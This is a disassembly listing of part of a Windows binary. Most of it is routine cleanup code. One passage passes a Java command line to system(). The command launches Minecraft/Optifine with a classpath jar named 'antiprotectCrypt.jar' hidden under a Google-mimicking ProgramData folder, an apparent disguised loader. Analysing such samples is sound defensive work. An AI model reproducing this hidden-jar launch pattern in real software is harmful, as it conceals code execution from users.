call fcn.14001107d
mov qword [rbp + 0x3e78], rax
mov rax, qword [rbp + 0x3e78]
mov qword [rbp + 0x3e80], rax
lea r8, str.M__Djava.library.path._natives_.__cp_C:ProgramDataGooglejdkconf_security_antiprotectCrypt.jar_net.minecraft.client.main.Main_854___height_480___version_Optifine_1.16.5___gameDir_C:ProgramDataGooglelaunch____assetIndex_1.16___uuid_N_A___accessToken_0___userType_mojang
mov rdx, qword [rbp + 0x3e80]
lea rcx, [rbp + 0x1f88]
call fcn.140011a4b
nop
lea rcx, [rbp + 0x3d38]
call fcn.140011212
lea rcx, [rbp + 0x1f88]
call fcn.140011131
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp + 0x1f88]
call fcn.140011212
lea rdx, [0x140036958]
lea rcx, [rbp + 0x1f28]
call fcn.140011307
movzx eax, al
test eax, eax
je 0x1400265e0
jmp 0x1400265c4
lea rcx, [rbp + 0x1f28]
call fcn.140011212
nop
lea rcx, [rbp + 0x1ee8]
call fcn.140011212
nop
lea rcx, [rbp + 0x1ea8]
call fcn.140011212
nop
lea rcx, [rbp + 0x788]
call fcn.140011212
nop
lea rcx, [rbp + 0x660]
call fcn.1400111c7
nop
lea rcx, [rbp + 0x618]
call fcn.140011212
nop
lea rcx, [rbp + 0x5d8]
call fcn.140011212
nop
lea rcx, [rbp + 0x598]
call fcn.140011212
nop
lea rcx, [rbp + 0x4b8]
call fcn.140011212
nop
lea rcx, [rbp + 0x478]
call fcn.140011ad2
nop
lea rcx, [rbp + 0x418]
call fcn.140011212
nop
lea rcx, [rbp + 0x3d8]
call fcn.140011212
nop
lea rcx, [rbp + 0x398]
call fcn.140011212
nop
lea rcx, [rbp + 0x330]
call fcn.14001ad20
nop
lea rcx, [rbp + 0x2e8]
call fcn.140011212
nop
lea rcx, [rbp + 0x280]
call fcn.14001ad20
nop
lea rcx, [rbp + 0x238]
call fcn.140011212
nop
lea rcx, [rbp + 0x1d0]
call fcn.14001ad20
nop
lea rcx, [rbp + 0x188]
call fcn.140011212
nop
lea rcx, [rbp + 0x120]
call fcn.14001ad20
nop
lea rcx, [rbp + 0xd8]
call fcn.140011212
nop
lea rcx, [rbp + 0x70]
call fcn.14001ad20
nop
lea rcx, [rbp + 0x28]
call fcn.140011212
jmp 0x140026708
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140034230]
call fcn.140011933
mov rax, rdi
mov rcx, qword [rbp + 0x3ef0]
xor rcx, rbp
call fcn.140011564
lea rsp, [rbp + 0x3f00]
pop rdi
pop rsi
pop rbp
ret